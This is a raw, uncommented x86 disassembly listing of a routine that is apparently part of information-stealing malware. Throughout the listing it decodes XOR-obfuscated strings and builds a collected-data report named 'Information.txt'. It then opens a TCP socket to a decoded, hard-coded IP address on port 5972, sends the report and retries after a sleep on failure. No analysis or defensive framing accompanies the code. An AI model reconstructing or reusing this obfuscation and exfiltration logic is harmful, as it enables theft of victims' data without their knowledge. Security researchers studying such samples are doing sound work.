cmp edx, 8
jl 0x449cbc
push dword [0x487200]
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x130]
call fcn.0043d3a9
mov edi, eax
test edi, edi
je 0x449d08
mov cl, byte [ebp - 0x154]
xor eax, eax
xor byte [eax + edi], cl
inc eax
cmp eax, esi
jb 0x449cfc
mov byte [edi + 0xc], 0
mov edx, dword [0x486fa8]
lea ecx, [ebp - 0x70c]
call fcn.0042a666
mov dword [ebp - 0xc08], eax
mov byte [ebp - 4], 0x17
push 0x63
pop ecx
push 0xc
pop eax
mov byte [ebp - 0x150], cl
movsx ecx, cl
mov word [ebp - 0x128], 0x434e
mov byte [ebp - 0x126], 0x20
mov byte [ebp - 0x125], al
mov byte [ebp - 0x124], al
mov dword [ebp - 0x123], 0x10060a08
mov word [ebp - 0x11f], 0x4359
mov byte [ebp - 0x11d], 0
call fcn.0043cfd7
mov dword [ebp - 0xbbc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbbc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449d75
push 0xb
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x150]
mov dword [ebp - 0x12c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbbc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbbc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449dbe
push dword [0x487200]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x12c]
call fcn.0043d3a9
mov esi, eax
test esi, esi
je 0x449e0b
mov cl, byte [ebp - 0x150]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x449dfe
mov byte [esi + 0xb], 0
mov edx, dword [0x486fc4]
lea ecx, [ebp - 0x79c]
call fcn.0042a666
mov dword [ebp - 0xc0c], eax
mov byte [ebp - 4], 0x18
mov al, 0x6f
movsx ecx, al
mov byte [ebp - 0x154], al
mov dword [ebp - 0x12c], 0xe3f4f42
mov dword [ebp - 0x128], 0x181c1c
mov dword [ebp - 0x124], 0x551c0b1d
mov word [ebp - 0x120], 0x4f
call fcn.0043cfd7
mov dword [ebp - 0xbbc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbbc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449e65
push 0xd
pop eax
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x154]
mov dword [ebp - 0x130], eax
call fcn.0043cfd7
mov dword [ebp - 0xbbc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbbc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449eb0
push dword [0x487200]
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x130]
call fcn.0043d3a9
mov edx, eax
test edx, edx
je 0x449efd
mov cl, byte [ebp - 0x154]
xor eax, eax
xor byte [edx + eax], cl
inc eax
cmp eax, 0xd
jb 0x449ef0
mov byte [edx + 0xd], 0
push dword [ebp - 0xc0c]
lea ecx, [ebp - 0x7b4]
call fcn.0044bd0e
mov byte [ebp - 4], 0x19
mov ecx, eax
mov dword [esp], 0x47ad84
call fcn.0044b441
push eax
lea ecx, [ebp - 0x664]
call fcn.0044b4e8
or ebx, 0x1000
mov dword [ebp - 0xbb0], ebx
push esi
lea ecx, [ebp - 0x664]
mov byte [ebp - 4], 0x1a
call fcn.0044b441
push eax
lea ecx, [ebp - 0x134]
call fcn.0044b4e8
or ebx, 0x2000
mov dword [ebp - 0xbb0], ebx
push dword [ebp - 0xc08]
lea eax, [ebp - 0x134]
mov byte [ebp - 4], 0x1b
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x634]
call fcn.0044cb1e
or ebx, 0x4000
mov dword [ebp - 0xbb0], ebx
push 0x47ad84
lea ecx, [ebp - 0x634]
mov byte [ebp - 4], 0x1c
call fcn.0044b441
push eax
lea ecx, [ebp - 0x46c]
call fcn.0044b4e8
or ebx, 0x8000
mov dword [ebp - 0xbb0], ebx
push edi
lea ecx, [ebp - 0x46c]
mov byte [ebp - 4], 0x1d
call fcn.0044b441
push eax
lea ecx, [ebp - 0x484]
call fcn.0044b4e8
mov esi, 0x10000
or ebx, esi
mov dword [ebp - 0xbb0], ebx
push dword [ebp - 0xc04]
lea eax, [ebp - 0x484]
mov byte [ebp - 4], 0x1e
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x49c]
call fcn.0044cb1e
or ebx, 0x20000
mov dword [ebp - 0xbb0], ebx
mov edi, 0x47ad84
mov byte [ebp - 4], 0x1f
push edi
lea ecx, [ebp - 0x49c]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x4b4]
call fcn.0044b4e8
or ebx, 0x40000
mov dword [ebp - 0xbb0], ebx
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x4b4]
push dword [ebp - 0xbdc]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x4cc]
call fcn.0044b4e8
or ebx, 0x80000
mov dword [ebp - 0xbb0], ebx
push dword [ebp - 0xc00]
lea eax, [ebp - 0x4cc]
mov byte [ebp - 4], 0x21
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x4e4]
call fcn.0044cb1e
or ebx, 0x100000
mov dword [ebp - 0xbb0], ebx
push edi
lea ecx, [ebp - 0x4e4]
mov byte [ebp - 4], 0x22
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5a4]
call fcn.0044b4e8
or ebx, 0x200000
mov dword [ebp - 0xbb0], ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x5a4]
push dword [ebp - 0xbd8]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x454]
call fcn.0044b4e8
or ebx, 0x400000
mov dword [ebp - 0xbb0], ebx
push dword [ebp - 0xbfc]
lea eax, [ebp - 0x454]
mov byte [ebp - 4], 0x24
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x694]
call fcn.0044cb1e
or ebx, 0x800000
mov dword [ebp - 0xbb0], ebx
push 0x47ee64
lea ecx, [ebp - 0x694]
mov byte [ebp - 4], 0x25
call fcn.0044b441
push eax
lea ecx, [ebp - 0x6ac]
call fcn.0044b4e8
or ebx, 0x1000000
mov dword [ebp - 0xbb0], ebx
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x6ac]
push dword [ebp - 0xbd4]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x6dc]
call fcn.0044b4e8
or ebx, 0x2000000
mov dword [ebp - 0xbb0], ebx
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x6dc]
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x2bc]
call fcn.0044cb1e
or ebx, 0x4000000
mov dword [ebp - 0xbb0], ebx
push edi
lea ecx, [ebp - 0x2bc]
mov byte [ebp - 4], 0x28
call fcn.0044b441
push eax
lea ecx, [ebp - 0x2ec]
call fcn.0044b4e8
or ebx, 0x8000000
mov dword [ebp - 0xbb0], ebx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x2ec]
push dword [ebp - 0xbd0]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x304]
call fcn.0044b4e8
or ebx, 0x10000000
mov dword [ebp - 0xbb0], ebx
lea eax, [ebp - 0x6c4]
mov byte [ebp - 4], 0x2a
push eax
lea ecx, [ebp - 0x304]
call fcn.0044b462
push eax
lea ecx, [ebp - 0x31c]
call fcn.0044b4e8
or ebx, 0x20000000
mov dword [ebp - 0xbb0], ebx
push edi
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x2b
call fcn.0044b441
push eax
lea ecx, [ebp - 0x334]
call fcn.0044b4e8
or ebx, 0x40000000
mov dword [ebp - 0xbb0], ebx
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x334]
push dword [ebp - 0xbcc]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x34c]
call fcn.0044b4e8
or ebx, 0x80000000
mov dword [ebp - 0xbb0], ebx
lea eax, [ebp - 0x67c]
mov byte [ebp - 4], 0x2d
push eax
lea eax, [ebp - 0x34c]
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x364]
call fcn.0044cb1e
push edi
lea ecx, [ebp - 0x364]
mov byte [ebp - 4], 0x2e
call fcn.0044b441
push eax
lea ecx, [ebp - 0x37c]
call fcn.0044b4e8
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x37c]
push dword [ebp - 0xbc8]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x394]
call fcn.0044b4e8
lea eax, [ebp - 0x244]
mov byte [ebp - 4], 0x30
push eax
lea ecx, [ebp - 0x394]
call fcn.0044b462
push eax
lea ecx, [ebp - 0x3ac]
call fcn.0044b4e8
mov byte [ebp - 4], 0x31
push edi
lea ecx, [ebp - 0x3ac]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x64c]
call fcn.0044b4e8
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x64c]
push dword [ebp - 0xbc4]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x3c4]
call fcn.0044b4e8
push dword [ebp - 0xc14]
lea ecx, [ebp - 0x3c4]
mov byte [ebp - 4], 0x33
call fcn.0044b441
push eax
lea ecx, [ebp - 0x3dc]
call fcn.0044b4e8
push edi
lea ecx, [ebp - 0x3dc]
mov byte [ebp - 4], 0x34
call fcn.0044b441
push eax
lea ecx, [ebp - 0x3f4]
call fcn.0044b4e8
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x3f4]
push dword [ebp - 0xbc0]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x40c]
call fcn.0044b4e8
push dword [ebp - 0xbf4]
lea eax, [ebp - 0x40c]
mov byte [ebp - 4], 0x36
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x424]
call fcn.0044cb1e
push edi
lea ecx, [ebp - 0x424]
mov byte [ebp - 4], 0x37
call fcn.0044b441
push eax
lea ecx, [ebp - 0x43c]
call fcn.0044b4e8
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x43c]
push dword [ebp - 0xbec]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x2d4]
call fcn.0044b4e8
lea eax, [ebp - 0x25c]
mov byte [ebp - 4], 0x39
push eax
lea ecx, [ebp - 0x2d4]
call fcn.0044b462
push eax
lea ecx, [ebp - 0x61c]
call fcn.0044b4e8
push edi
lea ecx, [ebp - 0x61c]
mov byte [ebp - 4], 0x3a
call fcn.0044b441
push eax
lea ecx, [ebp - 0x604]
call fcn.0044b4e8
mov byte [ebp - 4], 0x3b
push dword [ebp - 0xbe0]
lea ecx, [ebp - 0x604]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5ec]
call fcn.0044b4e8
push dword [ebp - 0xc10]
lea eax, [ebp - 0x5ec]
mov byte [ebp - 4], 0x3c
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x5d4]
call fcn.0044cb1e
push edi
lea ecx, [ebp - 0x5d4]
mov byte [ebp - 4], 0x3d
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5bc]
call fcn.0044b4e8
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x5bc]
push dword [ebp - 0xbe4]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x6f4]
call fcn.0044b4e8
push dword [ebp - 0xbf8]
lea ecx, [ebp - 0x6f4]
mov byte [ebp - 4], 0x3f
call fcn.0044b441
push eax
lea ecx, [ebp - 0x58c]
call fcn.0044b4e8
push edi
lea ecx, [ebp - 0x58c]
mov byte [ebp - 4], 0x40
call fcn.0044b441
push eax
lea ecx, [ebp - 0x574]
call fcn.0044b4e8
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x574]
push dword [ebp - 0xbe8]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x55c]
call fcn.0044b4e8
push dword [ebp - 0xc18]
lea eax, [ebp - 0x55c]
mov byte [ebp - 4], 0x42
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x544]
call fcn.0044cb1e
push 0x47efb0
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 0x43
call fcn.0044b441
push eax
lea ecx, [ebp - 0x1e4]
call fcn.0044b4e8
push dword [ebp - 0xbf0]
lea eax, [ebp - 0x1e4]
mov byte [ebp - 4], 0x44
push eax
push dword [ebp - 0xbb8]
lea ecx, [ebp - 0x52c]
call fcn.0044cb1e
mov byte [ebp - 4], 0x45
push edi
lea ecx, [ebp - 0x52c]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x514]
call fcn.0044b4e8
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x514]
push dword [ebp - 0xbb4]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x4fc]
call fcn.0044b4e8
lea eax, [ebp - 0x11c]
mov byte [ebp - 4], 0x47
push eax
lea ecx, [ebp - 0x4fc]
call fcn.0044b441
push eax
lea ecx, [ebp - 0x28c]
call fcn.0044b4e8
lea eax, [ebp - 0x28c]
mov byte [ebp - 4], 0x48
push eax
lea ecx, [ebp - 0x1fc]
call fcn.0044b462
lea ecx, [ebp - 0x28c]
call fcn.0044b89e
lea ecx, [ebp - 0x4fc]
call fcn.0044b89e
lea ecx, [ebp - 0x514]
call fcn.0044b89e
lea ecx, [ebp - 0x52c]
call fcn.0044b89e
lea ecx, [ebp - 0x1e4]
call fcn.0044b89e
lea ecx, [ebp - 0x544]
call fcn.0044b89e
lea ecx, [ebp - 0x55c]
call fcn.0044b89e
lea ecx, [ebp - 0x574]
call fcn.0044b89e
lea ecx, [ebp - 0x58c]
call fcn.0044b89e
lea ecx, [ebp - 0x6f4]
call fcn.0044b89e
lea ecx, [ebp - 0x5bc]
call fcn.0044b89e
lea ecx, [ebp - 0x5d4]
call fcn.0044b89e
lea ecx, [ebp - 0x5ec]
call fcn.0044b89e
lea ecx, [ebp - 0x604]
call fcn.0044b89e
lea ecx, [ebp - 0x61c]
call fcn.0044b89e
lea ecx, [ebp - 0x2d4]
call fcn.0044b89e
lea ecx, [ebp - 0x43c]
call fcn.0044b89e
lea ecx, [ebp - 0x424]
call fcn.0044b89e
lea ecx, [ebp - 0x40c]
call fcn.0044b89e
lea ecx, [ebp - 0x3f4]
call fcn.0044b89e
lea ecx, [ebp - 0x3dc]
call fcn.0044b89e
lea ecx, [ebp - 0x3c4]
call fcn.0044b89e
lea ecx, [ebp - 0x64c]
call fcn.0044b89e
lea ecx, [ebp - 0x3ac]
call fcn.0044b89e
lea ecx, [ebp - 0x394]
call fcn.0044b89e
lea ecx, [ebp - 0x37c]
call fcn.0044b89e
lea ecx, [ebp - 0x364]
call fcn.0044b89e
lea ecx, [ebp - 0x34c]
call fcn.0044b89e
lea ecx, [ebp - 0x334]
call fcn.0044b89e
lea ecx, [ebp - 0x31c]
call fcn.0044b89e
lea ecx, [ebp - 0x304]
call fcn.0044b89e
lea ecx, [ebp - 0x2ec]
call fcn.0044b89e
lea ecx, [ebp - 0x2bc]
call fcn.0044b89e
lea ecx, [ebp - 0x6dc]
call fcn.0044b89e
lea ecx, [ebp - 0x6ac]
call fcn.0044b89e
lea ecx, [ebp - 0x694]
call fcn.0044b89e
lea ecx, [ebp - 0x454]
call fcn.0044b89e
lea ecx, [ebp - 0x5a4]
call fcn.0044b89e
lea ecx, [ebp - 0x4e4]
call fcn.0044b89e
lea ecx, [ebp - 0x4cc]
call fcn.0044b89e
lea ecx, [ebp - 0x4b4]
call fcn.0044b89e
lea ecx, [ebp - 0x49c]
call fcn.0044b89e
lea ecx, [ebp - 0x484]
call fcn.0044b89e
lea ecx, [ebp - 0x46c]
call fcn.0044b89e
lea ecx, [ebp - 0x634]
call fcn.0044b89e
lea ecx, [ebp - 0x134]
call fcn.0044b89e
lea ecx, [ebp - 0x664]
call fcn.0044b89e
lea ecx, [ebp - 0x7b4]
call fcn.0044b89e
lea ecx, [ebp - 0x79c]
call fcn.0044b89e
lea ecx, [ebp - 0x70c]
call fcn.0044b89e
lea ecx, [ebp - 0x724]
call fcn.0044b89e
lea ecx, [ebp - 0x73c]
call fcn.0044b89e
lea ecx, [ebp - 0x754]
call fcn.0044b89e
lea ecx, [ebp - 0x22c]
call fcn.0044b89e
lea ecx, [ebp - 0x67c]
call fcn.0044b89e
test bl, 4
je 0x44a85d
lea ecx, [ebp - 0x214]
and ebx, 0xfffffffb
call fcn.0044b89e
test bl, 2
je 0x44a870
lea ecx, [ebp - 0x178]
and ebx, 0xfffffffd
call fcn.0044b89e
mov dword [ebp - 4], 0xe
test bl, 1
je 0x44a887
lea ecx, [ebp - 0x274]
call fcn.0044b89e
lea ecx, [ebp - 0x76c]
call fcn.0044b89e
lea ecx, [ebp - 0x784]
call fcn.0044b89e
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0xb
call fcn.0044b89e
push dword [ebp - 0xbb8]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
mov ecx, dword [0x486fbc]
mov edx, str.Information.txt
cmovae eax, dword [ebp - 0x1fc]
push 3
push dword [ebp - 0x1ec]
push eax
call fcn.0042e156
mov eax, dword [0x486fbc]
add esp, 0xc
test eax, eax
jne 0x44a8f9
xor edi, edi
xor ebx, ebx
jmp 0x44a937
cmp dword [eax], 2
je 0x44a911
mov ebx, dword [ebp - 0xc1c]
mov esi, 0x80000
mov edi, dword [ebp - 0xc20]
jmp 0x44a937
mov esi, dword [eax + 4]
cmp byte [esi + 0x2c], 0
jne 0x44a921
mov ecx, esi
call fcn.0042e005
mov edi, dword [esi + 0x20]
xor eax, eax
mov ebx, dword [esi + 0x18]
test edi, edi
mov byte [esi + 0x2c], 1
mov esi, 0x20000
cmovne esi, eax
lea eax, [ebp - 0x9c4]
mov dword [0x486fc0], esi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x44ab5b
push 2
pop eax
push 0x1754
mov word [ebp - 0x1dc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0x1da], ax
movzx eax, word [ebp - 0x1dc]
push 1
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x44ab55
push 0x19
pop eax
movsx ecx, al
mov byte [ebp - 0x198], al
mov dword [ebp - 0x170], 0x37202928
mov dword [ebp - 0x16c], 0x2b372d20
mov dword [ebp - 0x168], 0x2b372129
mov word [ebp - 0x164], 0x29
call fcn.0043cfd7
mov dword [ebp - 0xbb8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbb8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x194], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44a9d0
push 0xd
pop eax
push eax
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x198]
mov dword [ebp - 0x174], eax
call fcn.0043cfd7
mov dword [ebp - 0xbb8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbb8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x194], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44aa1b
push dword [0x487200]
lea eax, [ebp - 0x194]
push eax
push dword [ebp - 0x174]
call fcn.0043d3a9
test eax, eax
je 0x44aa66
mov dl, byte [ebp - 0x198]
xor ecx, ecx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jb 0x44aa59
mov byte [eax + 0xd], 0
lea ecx, [ebp - 0x1d8]
push ecx
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x1dc]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x44ab2e
cmp dword [ebp - 0x1e8], 0x10
lea edx, [ebp - 0x1fc]
push dword [ebp - 0x1ec]
cmovae edx, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x2a4]
call fcn.0043fa99
mov byte [ebp - 4], 0x49
mov ecx, eax
mov dword [esp], str._nxXxXxXxXxXx_n
call fcn.0044b441
push eax
lea ecx, [ebp - 0x214]
call fcn.0044b4e8
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0x4b
call fcn.0044b89e
cmp dword [ebp - 0x200], 0x10
lea eax, [ebp - 0x214]
push 0
push dword [ebp - 0x204]
cmovae eax, dword [ebp - 0x214]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x44ab1f
push 0
lea eax, [ebx + 1]
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x44ab3e
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0xb
call fcn.0044b89e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x44aa78
call fcn.0044c08d
lea ecx, [ebp - 0x214]
call fcn.0044b89e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
lea ecx, [ebp - 0x25c]
cmovae eax, dword [ebp - 0x1fc]
and dword [ebp - 0x1ec], 0
mov byte [eax], 0
call fcn.0044b89e
lea ecx, [ebp - 0x1fc]
call fcn.0044b89e
lea ecx, [ebp - 0x6c4]
call fcn.0044b89e
lea ecx, [ebp - 0x244]
call fcn.0044b89e
call fcn.0046bb29
ret